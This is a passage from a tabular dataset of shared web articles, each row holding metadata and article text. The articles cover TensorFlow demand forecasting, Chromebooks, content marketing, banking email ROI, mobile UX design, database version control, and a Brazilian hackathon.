2015. One of the things that it excels at is conducting machine learning using neural networks, especially deep neural networks. You can play with neural network architectures on the TensorFlow playground . Even though the code below may look intimidating, most of it is boilerplate (see the Datalab notebook for the complete code; Google Cloud Machine Learning , now in alpha, provides a simpler way to do this from Datalab). I'm using a neural network with one hidden layer (limiting the number of layers because we don't have millions of examples, just a few hundred days), choosing intermediate nodes to be rectified linear units (relu), and setting the output node to be an identity node (because this is a regression problem, not a classification one). We save the model and run it on the test dataset, and verify that we're doing better than our benchmark: A RMSE of about 8,200 is much better than the RMSE of 12,700 we got by simply using the historical average. Running a trained model Once we have trained a model, running each time on new predictor data is quite straightforward. For example, let's say we have the weather forecast for the next three days. We can simply pass in the predictor variables (day of week, min. and max. temperature, rain) to the neural network and obtain the predicted taxicab demand for the next three days: It appears that we should tell some of our taxi drivers to take the day off on Wednesday (day=4) and be there in full strength on Thursday (day=5). Thursdays are usually ""slow"" days (taxi demand in New York peaks on the weekends), but the machine learning model tells us to expect heavy demand this particular Thursday because of the weather. Google Cloud Platform made this demand forecasting problem particularly straightforward to carry out. Cloud Datalab provides an interactive Python notebook that's well-integrated with BigQuery, Pandas, and TensorFlow. The public datasets on GCP include historical weather observation data from NOAA. To learn more about GCP and its Big Data and Machine Learning capabilities, register for a training course .",en
1465312199,CONTENT REMOVED,8962537427807366481,-1032019229384696495,-7696592431575292648,,,,HTML,http://www.wsj.com/articles/why-its-time-to-take-googles-pc-operating-system-seriously-1465185662,Why It's Time to Take Google's PC Operating System Seriously,"For most of my working life, I've used Macs at home and Windows PCs at work. But a couple of years ago, intrigued by a change in the winds of computing-from the desktop to the cloud-I decided to give Google's Chromebooks a chance. Now, to my surprise, I use the Chrome operating system for all my nonmobile computing. Thanks to continuous...",en
1465313356,CONTENT SHARED,5545306236636747547,3609194402293569455,9091218860710620872,,,,HTML,http://saiadolugar.com.br/marketing/pesquisa-de-marketing-de-conteudo/,Tendências do Marketing de Conteúdo 2016,"Entender o mercado, conhecer as melhores práticas e os benchmarks de quem tem sucesso é importante para tomar decisões proativas e baseadas em dados reais. Essa é uma certeza da Rock Content. Para que você possa comparar facilmente as principais estatísticas de 2015 e 2016, unimos os dois posts aqui mesmo: Confira: Content Trends 2016 Desenvolvimento Para a realização da Content Trends 2016, foi utilizado como base o questionário do ano anterior, mas fizemos algumas alterações. Acrescentamos algumas perguntas e retiramos outras de modo a produzir um relatório ainda mais completo e descobrir novas informações. Com o questionário pronto, divulgamos para mais de 100.000 contatos e promovemos em redes sociais como Facebook, LinkedIn, Twitter e Instagram. Como incentivo, todos aqueles que o respondessem ganhariam o Content Marketing Playbook, do Sujan Patel e concorreriam a uma caixa de som JBL Flip wireless. A pesquisa ficou disponível online entre os dias 11 e 26 de abril e, ao longo deste período, contamos com a participação de 2725 profissionais dos mais diversos setores e de todo o país. Do dia 27 de abril até o dia de hoje, trabalhamos para analisar os dados, produzir gráficos e conteúdo, além de diagramar o relatório. Resultados Entre os entrevistados, verificamos que 70% utilizam essa estratégia , e os resultados que ela traz são claros: empresas que adotam geram 4x mais visitas e 5x mais leads . A maior parte das empresas ainda está em um nível básico de desenvolvimento do Marketing de Conteúdo e, dessa maneira, ainda não tem processos e estratégias bem definidos. Ao mesmo tempo, 50% dos participantes ampliaram seus investimentos na estratégia entre 2015 e 2016 e 67% pretendem aumentar no ano que vem. Assim, fica claro que há um grande potencial para o mercado amadurecer em termos de uso dessa estratégia. Bônus: na edição de 2016, além da análise geral, traçamos o perfil das organizações que se consideram bem-sucedidas na estratégia. Entenda as melhores práticas do setor e alavanque também os resultados da sua empresa com o Marketing de Conteúdo. Content Trends 2015 Background Esta pesquisa tem história e começa em Abril de 2015. Na ocasião, uma amiga que trabalha na Rock Content recomendou que eu enviasse um email propondo fazer um estágio de verão durante minhas férias da Universidade do Texas em Austin, onde estudo Publicidade e Propaganda. Na cara dura, fui e fiz. Expliquei que tinha experiência com pesquisas de mercado e análise de dados, inclusive para grandes festivais de música, além de afinidade com o infame Excel. Quem me acolheu foi o Diego Gomes, que contou que eu iria trabalhar ""em um projeto grande"". A curiosidade foi grande para saber o que seria este projeto, mas o Diego já tinha a visão toda planejada. O resultado, 3 meses depois, é o relatório de Tendências do Marketing de Conteúdo 2015. Processo O Tendências do Marketing de Conteúdo 2015 começou com uma meta ambiciosa: começar do zero e publicar a pesquisa em 45 dias. O formulário da pesquisa em si contou com 22 perguntas, muitas delas inspiradas em pesquisas da Hubspot e do Content Marketing Institute, e outras sugeridas por membros da equipe da Rock Content. O título da pesquisa, também, passou pelo crivo de todos. Assim, fizemos um trabalho em conjunto. Foram muitas mãos editando, testando e revisando para que todas as perguntas trouxessem resultados reveladores para todos. Em 4 dias, nossa pesquisa Tendências do Marketing de Conteúdo 2015 recebeu 2.233 respostas de participantes de diversas indústrias e áreas de atuação do Brasil. A pesquisa foi enviada por email para aproximadamente 100mil pessoas, e promovida em redes sociais como o Facebook, Twitter, Google+ e LinkedIn. Como incentivo, os participantes concorreram a um alto-falante Beats Pill. Depois da pesquisa encerrada, tivemos uma semana para analisar os dados, uma semana para escrever o relatório e uma semana para os designers acenarem sua varinha mágica sob o hotsite, infográfico e diagramação do relatório. Objetivo Com este estudo sobre as práticas de marketing de conteúdo buscamos entender se este novo jeito de fazer marketing está sendo adotado por profissionais brasileiros. Procuramos mostrar como isto é refletido no orçamento de marketing, quais os principais objetivos do marketing de conteúdo e como é a percepção de sucesso nesta área. Além disto, a partir de agora nenhum profissional brasileiro tem que basear sua decisões de marketing apenas em pesquisa norte-americanas. Viva! Resultado Os resultados que obtivemos com a pesquisa foram reveladores e muito positivos. 69% dos participantes afirmaram utilizar marketing de conteúdo, 57% possuem pelo menos 2 pessoas dedicadas à criação de conteúdo e 69% prevêem aumento no orçamento de marketing de conteúdo para 2016. O relatório completo possui dezenas de estatísticas que comprovam o que já sabíamos: marketing de conteúdo vem como uma maneira inovadora de fazer marketing, e sua adesão está aumentando cada vez mais. E agora? Se você leu até aqui sem ter acessado o relatório completo , não perca tempo! Você vai encontrar todos os dados necessários para implementar ou impulsionar sua estratégia de marketing de conteúdo. O Tendências do Marketing de Conteúdo foi criado para resolver dúvidas e desafios sobre marketing de conteúdo. Esperamos que a partir dos nosso dados você possa fazer decisões relevantes sobre sua estratégia de marketing.",pt
1465313445,CONTENT SHARED,-7042078050206929948,3609194402293569455,9091218860710620872,,,,HTML,http://startupi.com.br/2016/06/microsoft-convoca-comunidade-tecnica-para-resolver-problemas-usando-nuvem/,Microsoft convoca comunidade técnica para resolver problemas usando a nuvem - Startupi,"A Microsoft anunciou o lançamento da campanha Azure SolutionLets , voltada para profissionais que buscam resolver problemas técnicos com a Azure, plataforma em nuvem da Microsoft. Para participar, os inscritos precisam produzir um vídeo de até 15 minutos que apresente uma solução, postá-lo no YouTube e fazer a inscrição neste formulário online . A criatividade é o fator decisivo para os participantes. Eles devem apresentar a solução para um problema com o uso do Azure, pois os dois primeiros participantes que atingirem 10 mil visualizações ganharão um par de ingressos cada para uma partida nas semifinais feminina e masculina de futebol dos Jogos Olímpicos de 2016, no Rio de Janeiro. Os competidores também podem fazer campanhas nas redes sociais com as hastags #AzureSolutionlet ou #AzureSolutionlets . O regulamento da campanha está disponível no blog TechNet e o prazo para submissão dos vídeos é até dia 3 de agosto. O anúncio dos vencedores será no dia 5 de agosto.",pt
1465314076,CONTENT SHARED,-1523691178084871,5660542693104786364,8174959513335672627,,,,HTML,http://marketingland.com/measuring-email-effectiveness-retail-banking-176685,Measuring email effectiveness in retail banking,"For most industries, email is generally considered a very high ROI marketing channel. But the retail banking sector seems to be an exception to this rule. It's not that retail banks don't use email. In fact, most banks are very good at it and have tight operational controls over the channel. They even tend to have a comprehensive view of the customer, given the amount they spend in consumer data integration (CDI) and general prowess in analytics. In other words, banks have the people-based marketing assets most companies would love to have, yet they don't always know how to accurately measure the effectiveness of their email campaigns. In fact, one retail bank once told me, ""We don't even measure email."" What he meant was that they don't ascribe a value to it beyond engagement, as measured by open and click rates. Before we get into specific tactics on how you can measure the impact of email on your customer base, it's important to note that to properly evaluate email, you need to use a marketing database to understand the lift and impact that can be attributed to email. Unfortunately, that's not always possible, due to priority, access and so on. In these cases, you can use proxies to estimate revenue generated and justify investment. As anyone with P&L (profit and loss) responsibility knows, improving ROI requires either reducing costs or driving additional revenue. When we look at opportunities to drive revenue, we're generally referring to either value-adds, which enhance customer satisfaction and improve their experience, or more direct revenue drivers, where there's a clearer line between a promotion and additional revenue from that customer. What's important is to measure the impact of each to get a full picture and to use that knowledge to invest appropriately. Reducing costs * Paperless statements. While not new, they save a ton of money versus sending out traditional paper versions. By getting individuals to sign up for paperless statements, a very simple value can be ascribed to each new customer. For example, if each statement costs $1 to produce and mail, then getting 100,000 to sign up saves $100,000 per statement cycle. * Regulated notifications sent electronically. The same principle applies for the myriad of regulated notifications that need to be sent for several reasons. As above, they have an inherent value as a cost take-out. The trick with these is that you need to be ready with the print version if you get a bounce. So, the actual calculation is the total sent multiplied by the cost savings per notification less print costs due to bounces. Driving revenue: Value-adds * Traditional communications. Welcome kits and early-month-on-books (EMOB) communications are important communication streams. Banks spend a lot of money on print communications for new customers in each line of business. The purpose of that spend is to drive customers to set up certain features, make deposits, use loans, spend on a credit card and more. These communications have highly predictable rates of return that many marketing managers don't want to fuss with. Email can enhance these communications. It can be used to replace or augment a print communication. Both tactics need to be tested, but email is faster and cheaper and enables quicker response to actions taken by the account owner. For example, if a welcome stream promotes direct deposit and a customer has already set up that feature, email has a better chance of reacting to that information and promoting an alternative message that drives value. In terms of measuring the value of email, you need to test it to determine how much to use and its value. If you take the example of a welcome stream that is normally sent via direct mail, there are two basic sets of tests one can do: * Augment the welcome stream with email communications to see if you can drive lift for the program. In this case, if we send an email coordinated with a direct mail piece, do we see a lift in uptake (deposits, direct deposit, online bill pay and so on) for new customers? If so, then we can determine the value of email. * Another option is to replace print with an email communications program . This has to be tested to determine if email can stand alone. I am confident about email as a channel, but I would want the decision to be based on facts about improvement in customer results, not just cost take-out, which is an easy decision. Driving revenue: Add-on services and features * App downloads. Banks have transformed their businesses with mobile apps. Apps can build competitive advantage and create a lot of ""stickiness."" Promoting apps via email (whether a single email or as part of another email) can drive downloads, which presumably increases retention and has a value. One can estimate return by multiplying that app retention value by the number of apps downloaded and used. * Direct deposit. Like app usage, direct deposit creates a closer tie between a bank and an individual. Promoting direct deposit and getting people to direct their paychecks to your bank automatically adds a level of intimacy that requires effort to undo. Direct deposit customers have a higher value than non-direct deposit customers, so by getting someone to sign up for direct deposit, value can be determined. * New products. Whether it is insurance, a credit card, a new account type or something else, email can be used to communicate value about a specific product to a target individual. The issue with this is that most of these transactions occur outside of the web, so measurement requires more analysis. This is one of those cases that requires a marketing database to understand who was promoted to and determine the lift versus a control group. With that information, ROI can be determined. For highly regulated industries like banks, which have traditionally been forced to operate in a paper/direct mail world, the opportunity that email and digital communications hold is large and often underestimated. As consumers become increasingly comfortable dealing with their banks online, banks need to be ready to communicate effectively with their prospects and clients via digital channels. Adding more functionality in the digital space can be costly. Online marketing managers at banks must be able to prove ROI on existing and new digital communications to bolster their cases to internal leadership and continue to drive their organizations into the digital banking future. Some opinions expressed in this article may be those of a guest author and not necessarily Marketing Land. Staff authors are listed here .",en
1465315925,CONTENT SHARED,-2752345899464432864,-709287718034731589,-7018239913998745013,,,,HTML,http://babich.biz/design-patterns-progressive-disclosure-for-mobile-apps/,Design Patterns: Progressive Disclosure for Mobile Apps,"Before we begin, let's quickly define design patterns. Design patterns were first introduced by Christopher Alexander, an architect and design theorist who noticed that many things in our activities happen according to patterns: patterns describe a problem and then offer a solution . He adapted his observations to his work and published a great book ""A Pattern Language"" on the topic. Since then, design patterns have found their place in many areas of our lives, and can be found in the design and development of user interfaces as well. Different design patterns help us provide solutions to most common problems that all designers and developers face in their work. In this post we'll explore progressive disclosure and how to apply it to your mobile prototyping. What is Progressive Disclosure? Progressive disclosure is a strategy for managing information complexity. When you use progressive disclosure, you show only the information necessary at that point in the interaction . And you display more advanced functionalities of the app interface as the user interacts with it. It's a simple, yet powerful design pattern: Initially, show users only a few of the most important options. Disclose a larger set of specialized options only if a user asks for them. Just like each of the Matryoshka dolls reveals another one within, progressive disclosure allows information to be revealed step by step Benefits of Progressive Disclosure Important content is prioritized. In an app designed with progressive disclosure, the very fact that something appears on the initial screen tells users that it's important . For first-time users, this helps focus their attention on features that are most likely to be useful to them. For tech-savvy users, the initial screen also saves them time because they don't have to scan past a large list of features they rarely use. Clean, simpler, more productive interfaces. By hiding more infrequently used features, you remove UI clutter, not features . The idea is that the app allows the user to indicate that they are interested in learning more about something by some sort of input - generally a tap. Users see an element and decide they want more information about it, or to see things related to it. If they really do, they simply ""zoom in."" Error rate. Fewer errors occur because novice users will take easier, more manageable steps. Know Your Users The main danger of progressive disclosure is incorrect assumption that you understand what is the most popular, common or important task. When designing an app, it's easy to assume that everybody is like you. You evidently know a lot about your app, because you're passionate about it. But most probably your users aren't care that much. As Jakob Nielsen stated: ""One of usability's most hard-earned lessons is that 'you are not the user."" That's why you should design to optimize the user experience for outsiders , not insiders (you or your team). Users have goals and want to get things done using your app. To design a good progressive disclosure, you need to learn about your users, involve them in the design process, and interact with them. Examples of progressive disclosure are everywhere. A simple ""learn more"" link that reveals more information is one of the simplest forms of progressive disclosure. But there are more complex and interesting cases, like mentioned below. Progressive Onboarding Interactive progressive onboarding is a good example of progressive disclosure. It's a user-guided tour where hints are only triggered when the user reaches the appropriate point in their experience. Thus, hints may appear in different orders for different users. Duolingo uses an interactive way of progressive disclosure to show users how the app works: users are encouraged to jump in and do a quick test in the selected language. Duolingo has a user-guided tour which consists of a quick test Instructional Overlay Any time you mask important functionality, it's very important to give your users a cue that they can still access that functionality. When the hidden features are explained properly, users will be satisfied by the interaction with the app. And progressive disclosure can be used to disclose the right information, exactly when the user needs it. YouTube Android app, for instance, uses instructional overlay to explain an unfamiliar interaction. These hints appear on the first launch for new users, one at a time, as the user reaches the relevant section of the app. Instructional overlay in Youtube app for Android Animated Hints A more hands on approach can be found in games which often deals very well with progressive disclosure, revealing game mechanics as you move further into a game. Such hints are only triggered when the user reaches the appropriate point in their experience. For example, Pudding Monsters uses an animated hand to explain a sliding motion and it becomes clear for users what to do next. Progressive disclosure can bring simplicity and feature-richness to the app. Image credit: Pudding Monsters Playground A playthrough is another example from the game industry, it's a tutorial-like experience in which the user is taken into a dedicated flow to complete tasks that represent the main interactions. Playthroughs often establish a goal up front (""let's build a house!"") and are performed in the context of the app's normal interaction . Users progress at their own pace, while UI guides them and they learn by doing. The playthrough in Plants vs. Zombies 2 uses a combination of exercises and text assistance to teach new players We're always trying to get the most out of our interfaces and maximize whatever space is made available to us. Progressive disclosure is a powerful design pattern that is able to keep user interface clean and uncluttered and to help people manage app complexity without confusion or frustration. When you design a progressive disclosure try to follow a simple rule -  show less, provide more. In order to achieve good UX, you must get the right split between initial and secondary features. You have to disclose everything that users need up front, so that they only have to progress to the secondary display on rare occasions. The primary list just can't contain too many options. Last but not least, when designing instructional overlays and any other types of hints for progressive disclosure, the main thing to remember is to keep them as short as possible . Focus on user tasks and design for maximum scannability. Thank you!",en
1465324965,CONTENT SHARED,2555983212310147009,7774613525190730745,5630253306675486090,,,,HTML,https://www.infoq.com/articles/Database-Version-Control,The Definitive Guide to Database Version Control,"In the brave new world of big data and business intelligence, the only technology constant is change, especially when it comes to the database. Almost daily changes in business needs due to demographics, increased service delivery demand and the regulatory environment drive database change. So when it comes to database change, agility through automation - the ability to do more with less more rapidly to accelerate delivery - is what differentiates highly competitive, world-class enterprises from the rest of the crowd. If your competitor can deliver relevant features faster, with better quality, you will lose market share. Agile development arose from the need to move more quickly to deal with ever-changing requirements, ensuring optimum quality despite resource constraints. The big release approach is obsolete - waiting six months until the next rollout or release is self-defeating. Agile development reduces release scope to complete each change faster, minimizing the impact of each change. Agility is expected from tech companies and IT divisions to support changing business needs. The next logical step is to link development with operations - to adopt DevOps. To master Agile sprint deployments effectively with DevOps, you need the ability to implement deployment and process automation internally within development and QA, or to production. Otherwise, deployments and releases will require manual steps and processes, which are prone to human error and cannot be frequently replicated. The automation required relies on a version control repository that manages all software assets ready to be built and deployed to the next environment. The build process starts by cleaning the working space and getting the relevant files from the version control repository. This critical phase prevents out-of-process changes. These changes can still happen though they can be avoided if developers save their changes directly in the build server working space, instead of checking-in the changes to the version control repository. This example may sound absurd because developers know if they do so, their changes will be lost, as the technology enforces the process. This phase also prevents the build phase from accepting work-in-progress changes by referring to only those changes that were submitted to the version control repository in a check-in process. The version control repository acts as the single source of truth . The Database is a Key Component Most IT applications today have many components using different technologies; mobile, ASP, PHP, application servers, Citrix, databases, etc. These must all be in sync for the application to work. If, for example, a new column was added to a table, or a new parameter was added to a stored procedure, all other application components must be synchronized to the structure change to function correctly. If this synchronization breaks, the application can fail by calling the wrong parameters to the stored procedure, or by trying to insert data without the new column. The unique properties of the database component differentiate it from other components: A database is more than just SQL scripts. It has a table structure, code written in the database language within stored procedures, content saved in reference tables or configuration tables, and dependencies between objects. A database is a central resource. Several developers can work on the same object, so their work must be synchronized to prevent code overrides. Deploying database changes is not as simple as copying and replacing old binaries. Database deployment transforms version A into version B while keeping business data and transferring it to the new structure. Database code exists in any database, and can be directly modified in any environment. This is in contrast to other components, where everything starts from a clean workspace in the build server. Must-Have Requirements Several challenges must be addressed when managing database changes. You must: Ensure all database code is covered (structure, code, reference content, grants) Ensure the version control repository acts as the single source of truth Ensure the deployment script being executed knows environment status when the script is executing Ensure the deployment script handles and merges conflicts Generate a deployment script for only relevant changes Ensure the deployment script knows the database's dependencies There are four common approaches to managing database changes in development and deploying them internally (Dev, QA) or to the production environment. Utilizing SQL alter scripts generated during development Utilizing a changelog activities tracking system Utilizing simple compare & sync Utilizing a database enforced change management solution Utilizing SQL Alter Scripts Generated During Development The most basic method for managing database changes is to save the alter command in a script or set of scripts, and manage them in the exiting file-based version control. This guarantees a single repository that stores all the application component assets. Developers have the same functionality when checking-in changes for the database as they do when they check-in changes for .NET or Java, such as linking the change to the reason (CR, defect#, user story, etc.). Almost any modern file-based version control solution has a merge notification when several developers change the same file. But let's see if this solution actually overcomes the challenges for the database, and avoids the potential pitfalls: Ensures all database code is covered - since the developer or DBA writes the script, they can ensure it will handle all database code. Ensures the version control repository acts as the single source of truth - not really, as the developer/DBA can login directly to the database (in any environment) and make changes directly in the database. Manually-Written SQL Scripts Changes made to the deployment scripts as part of scope changes, branch merges, or re-works are done manually and require additional testing. Two sets of scripts must be maintained - the create script and the alter script for the specific change for the release. Having two sets of scripts for the same change is a recipe for disaster. Ensures the deployment script being executed knows the environment status when the script is executing - this depends on the developer and how the script is written. If the script just contains the relevant alter command, then it is not aware of the environment status when it is executed. This means it may try to add the column although it already exists. Writing scripts that will be aware of the environment status at execution time significantly complicates script development. Ensures the deployment script handles conflicts and merges them - although the file-based version control provides the ability to merge conflicts, this is irrelevant to the database as the version control repository is not 100% accurate and cannot be the single source of truth. The script might override a hot fix performed by another team, leaving no evidence that something went wrong. Generates deployment scripts for only relevant changes - scripts are generated as part of development. Ensuring the scripts include only relevant and authorized changes - based on the tasks being approved - requires changing the script(s), which creates more risk to the deployment and wastes time. Ensures the deployment script knows the database dependencies - developers must be aware of database dependencies during the development of the script. If a single script is being used, then the change is usually being appended. This can result in many changes to the same objects. If many scripts are being used, then the order of the scripts is critical and is maintained manually. Bottom line: not only does this basic approach fail to solve the database challenges, it's also error-prone, time consuming, and requires an additional system to keep track of the scripts being executed. Utilizing a Changelog Activities Tracking System Another common approach is to use XML files, which use an abstract language for the change and keep track of the execution. The most common open source solution for this is Liquibase. With XML files, Liquibase separates the logical change from the physical change, and allows the developer to write the change without knowing the database-specific command. At execution time, it converts the XML to the specific RDBMS language to perform the change. Changes are grouped into a changelog, and they can be in a single XML file or many XML files referred by a major XML file which contains the order of the changes. The XML files can be saved using the existing file-based version control, which offers the same benefits as the basic approach. In addition, based on the Liquibase execution track, it knows which changelog(s) have already been deployed and shouldn't run again, and which were not yet deployed and should be deployed. Let's see if Liquibase answers the challenges: Ensures all database code is covered - managing changes to reference content is not supported in the XML files used by Liquibase, and must be handled as an external addition, which can result in changes being forgotten. Ensures the version control repository acts as the single source of truth - Liquibase doesn't have any version control functionality. It depends on third-party version control tools to manage XML files, so you have the same challenges in making sure the file-based version control repository reflects the version that was tested. The process that will ensure the version control repository can be the single source of truth requires developers to check-in changes in order to test them. This can result in work-in-progress changes being deployed to next environment. Ensures the deployment script being executed knows the environment status when the script is executing - Liquibase knows which changelogs have been deployed and will not execute them again. However, if the logical change is to add a date column that exists in varchar format, the deployment will fail. Also, overrides of out-of-process changes cannot be prevented. Ensures the deployment script handles conflicts and merges them - any change being made to the database outside of Liquibase can cause a conflict, which will not be handled by Liquibase. Out of process changes are not handled Generates deployment scripts for only relevant changes - changes can be skipped at the changelog level, but breaking a changelog into several changelogs requires writing a new XML file, thus requiring more tests. Ensures the deployment script knows the database dependencies - the order of the changes is maintained manually during the development of the changelog XML. Bottom line: using a system that tracks change execution does not address the challenges associated with database development and, as a result, does not meet the deployment requirements. Utilizing Simple Compare & Sync Another common approach is to generate the database change script automatically by comparing the source environment (development) to the target environment (test, UAT, Production, etc.). This saves the developers and DBAs time because they don't have to manually maintain the script if it is a create script or an alter script for the release. Scripts can be generated when needed, and refer to the current structure of the target environment. Let's review the challenges and see if this approach overcomes them: Ensures all database code is covered - most compare & sync tools know how to handle the different database objects, but only a few have the functionality to handle compare & sync of the reference data. Ensures the version control repository acts as the single source of truth - simple compare & sync does not utilize the version control repository when performing the compare and generating the merge script. Ensures the deployment script being executed knows the environment status when the script is executing - the best practice is to generate the script just before executing it so it will refer the current environment status. Ensures the deployment script handles conflicts and merges them - simple compare & sync tools compare A to B (source to target). Based on the simple table at the right, the tool then generates a script to ""upgrade"" the target to match the source. Without knowing the nature of the change, the wrong script can be generated. For example, there is an index in the target that was created from a different branch or critical fix. If this index does not exist in the source environment, what should the tool do? Drop the index? If there is an index in development, but not in production, was it added in development? Dropped in production? Using such a solution requires deep knowledge of each change to make sure they are handled properly. Generates deployment scripts for only relevant changes - the compare & sync tools compare the entire schema and show the differences. They are unaware of the reason behind the changes, as this information is stored in the ALM, CMS, or version control repository, which is external to the compare & sync tool. You might get a lot of background noise, making it difficult to determine what you actually need to deal with. Ensures the deployment script knows the database dependencies - compare & sync tools are aware of database dependencies and generate the relevant DDLs, DCLs, and DMLs in the correct order. Not all compare & sync tools support generating a script that contains objects from several schemas. Bottom line: compare & sync tools satisfy some of the must-have requirements, but fail to deal with others. Scripts must be manually reviewed, and cannot be trusted in an automated process. Utilizing a Database Enforced Change Management Solution Database enforced change management combines enforcement of version control processes on database objects with generation of the deployment script when required, based on the version control repository and the structure of the environment at that time. This approach uses ""build and deploy on-demand,"" meaning the deploy script is built (generated) when needed, not as part of development. This allows for efficient handling of conflicts, merges, and out-of-process changes. Build & Deploy On-Demand How does database enforced change management handle the challenges? Ensures all database code is covered - structure, business logic written in the database language, reference content, database permissions and more are managed. Ensures the version control repository acts as the single source of truth - the enforced change policy prevents anyone using any IDE (even command line) from modifying database objects that were not checked-out before and checked-in after the change. This guarantees the version control repository will always be in sync with the definition of the object at check-in time. Single Process Enforcing Version Control Ensures the deployment script being executed knows the environment status when the script is executing - building (generating) the deployment script when needed (just before executing) guarantees it knows the current environment status. Ensures the deployment script handles conflicts and merges them - by using baselines in the analysis, the nature of the change is known and the correct decision whether to promote the change, protect the target (ignore the change), or merge a conflict is easy. Baseline Aware Analysis Generates deployment scripts for only relevant changes - the integration with application lifecycle management (ALM) and change management systems (CMS) enables you to assign a reason to the change, as is done in the file-based version control or task management system. Ensures the deployment script knows the database dependencies - the sophisticated analysis and script generation algorithm ensures the DDLs, DCLs, and DMLs will be executed in the correct order based on the database dependencies, including inter-schema dependencies. In addition to the must-have requirements, there are other requirements, such as supporting parallel development, merging branches, integrating with the database IDE, and supporting changes originating from data modeling tools. You must verify that these requirements will be addressed by whichever method you choose. Bottom Line The database component has special requirements, and therefore creates a real challenge for automation processes. In the old days when there were only a few releases per year, it was common and understandable to invest time manually reviewing and maintaining the database deployment scripts. Today, with the growing need to be agile and provide releases faster, the database must be part of the automation process. Developing SQL or XML scripts, or using simple compare & sync are either inefficient and/or risky approaches when it comes to automation. The most effective method is to implement database enforce change management . About The Author Uri Margalit is the Director of Product Management at DBmaestro , an Enterprise Software Development Company focusing on database development and deployment technologies. Uri has over 15 years' experience in enterprise software and systems management and has held senior Product Management and R&D Management positions at a number of leading software companies.",en
1465327405,CONTENT SHARED,6778168087818060600,-1443636648652872475,-3221107014894071365,,,,HTML,http://www.cnet.com/news/googles-ai-software-is-moving-into-your-iphone/,​Google's AI software is moving into your iPhone,"Google Google's TensorFlow software, smart enough to help vanquish the world's top Go player and answer your email , is coming to your iPhone. On Monday, Google published an early version of TensorFlow (the 0.9 release candidate) that adds support for iOS, the software that powers Apple iPhones and iPads. TensorFlow is ""neural network"" software that lets computers process data in a way similar to our own brain cells, a key foundation to the artificial intelligence movement sweeping the computing industry. While TensorFlow won't give your iPhone an immediate IQ boost, its neural network capabilities will lead to more sophisticated apps later. Expect to see them coming from Google and others who use TensorFlow, which already works with Google's own Android mobile software. AI has quickly become a darling of Silicon Valley after years of behind-the-scenes research, with countless projects under way at Facebook, Microsoft, eBay, IBM and elsewhere. Microsoft co-founder Bill Gates last week called the current efforts in artificial intelligence ""the most exciting thing going on"" in the computing industry. Google has been toiling for months to bring TensorFlow to iOS . For high-powered tasks like comprehending sentence structure , more powerful machines or even networks of machines are required. But neural networks can help small devices, too -- for example to recognize subjects in photographs or, as another neural network software project called MemKite aims to do, teach your phone what a particular object looks like . Google uses the machine learning technology in more than 100 areas so far and clearly hopes AI will power compelling new services. Ultimately, it'll be these services that you'll come to rely on more than a particular phone, the company believes. ""Over time, the computer itself -- whatever its form factor -- will be an intelligent assistant helping you through your day,"" Google Chief Executive Sundar Pichai wrote in the company's annual letter to shareholders. ""We will move from mobile first to an AI-first world."" Google released its TensorFlow software as open source, meaning that anybody can use or modify it for free, and indeed 46 people outside the company contributed to the upcoming version, according to the release notes. It's not clear when the final version of TensorFlow 0.9 will arrive. Google didn't immediately respond to a request for comment.",en
1465330505,CONTENT SHARED,-2065362330475275026,-6568916788996709634,8025378236179580849,,,,HTML,https://medium.com/@rodrigogd/minha-passagem-no-hackathon-da-globo-bbb2017-6cddbb025dfc,Minha passagem no Hackathon da Globo #bbb2017,"Resumindo, uma das experiências mais fantásticas que ja passei até hoje. Conhecer o PROJAC, pessoal da Globo.com e várias pessoas com o nível de conhecimento lá em cima, fez com que minha visão sobre a Globo mudasse bastante. Na sexta feira (1 de abril) estava jogando poker em um torneio que acontece próximo a minha casa quando percebo que meu colega sumiu, ligava no celular dele e nada, pensava eu ali que era pegadinha. Consegui alertar a familia e estávamos todos procurando a pessoa quando meu celular tocou com um numero (21) xxxx-xxxx, na hora pensei em não atender pois podia ser os cobradores que sempre me ligam de la, quando atendi era da Globo e super educado me perguntou ""podemos conversar 15 min?"". Na hora pensei fudeu!... não posso... mas claro que respondi: CLARO! Depois do telefonema descobrimos que Sim.. meu colega tinha sido sequestrado ��, mas estava tudo bem. No outro dia recebi um e-mail, e que e-mail! Aí foi o choque, não tinha dinheiro para ir, mas parceladinho dava. Peguei meus cartões de créditos e parcelei tudo em 50x passagem, hospedagem e etc. Consegui uma boa passagem na sexta e na comunidade do CocoaHeads tinha umas 4 pessoas que também tinham sido selecionadas para o evento. Combinei com o Cleber de nos encontrar no Aeroporto e dividir o uber até o PROJAC que é bem longe (umas 1h30m) pois tínhamos alugado o mesmo hotel que ficava bem próximo. No hotel a noite saímos para lanchar e vendo os videos que o pessoal estavam postando no grupo do WhatsApp que a Globo criou com todos os selecionados percebemos que havia mais um selecionado no mesmo hotel, o Marlon Luz. Convidamos ele para tomar uma e conversar fiado. Não conhecia o Marlon mas todos falavam que ele era estrela da Microsoft (e eu pensava somente no tanto que a Microsoft evoluiu esse ano, Bash no terminal e Xamarin ��). Se a viagem parece ali, já valeria a pena ter saído de BH devendo 10975891730915861234$$$, pois conheci 2 caras fodah. Mas o melhor ainda estava por vir. Amanheceu e depois do café fomos direto para PROJAC aquela recepção que sempre vemos na TV e uma galera de pessoas esperando a organização aparecer... reconheci logo de cara que era participantes por que tinha um chines, e onde tem chines tem nerd. Confesso que estava mais ansioso para andar no carrinho do PROJAC do que entrar na casa do BBB. Ao entrar na casa fomos logo pensando no que fazer e ainda não tínhamos uma equipe formada, nem conversamos sobre montar equipe na noite passada. De cara eu pensei em fazer algo para acessibilidade e o Cleber concordou que seria algo bacana tendo em vista que a Globo tem poucos mecanismos voltados a acessibilidade em andamento. Marlon concluiu que conhecia um pouco de Libras (linguagens de sinais para surdos) e ai surgiu nossa ideia de fazer um projeto que transformasse texto em português em Libras, mas ainda era somente um Brainstorm.. não estava decidido que seria isso, então começamos a fechar a equipe antes de pensar na ideia. Juntamos a maior quantidade de conhecimentos para compor a equipe, concordamos em manter a galera que estava no hotel pois já havia um pouco espirito de equipe ali. Foi ai que apareceu 2 caras incríveis Matheus Frozzi e Pedro Bertoleti . Ai começou a zoeira, fizemos um brainstorm e junto com os mentores decidimos tocar o projeto das libras, a missão era: Temos que entregar algo que transforme os close captions da globo em libras em 33 horas. Começamos as pesquisas e achamos 2 coisas, uma tese de mestrado explicando como funciona a linguagem de sinais e as dificuldades de traduzir o texto português em libras e um projeto em andamento que fazia parte do que queríamos que era a tradução do texto para libras. De momento pensamos em não usar pois era metade do nosso projeto e estava ali desenvolvido e pronto para usar, mas olhando o tamanho do projeto e o tempo para desenvolver decidimos utiliza-lo. E talvez esse seja o ponto mais crítico. Lembro do Matheus 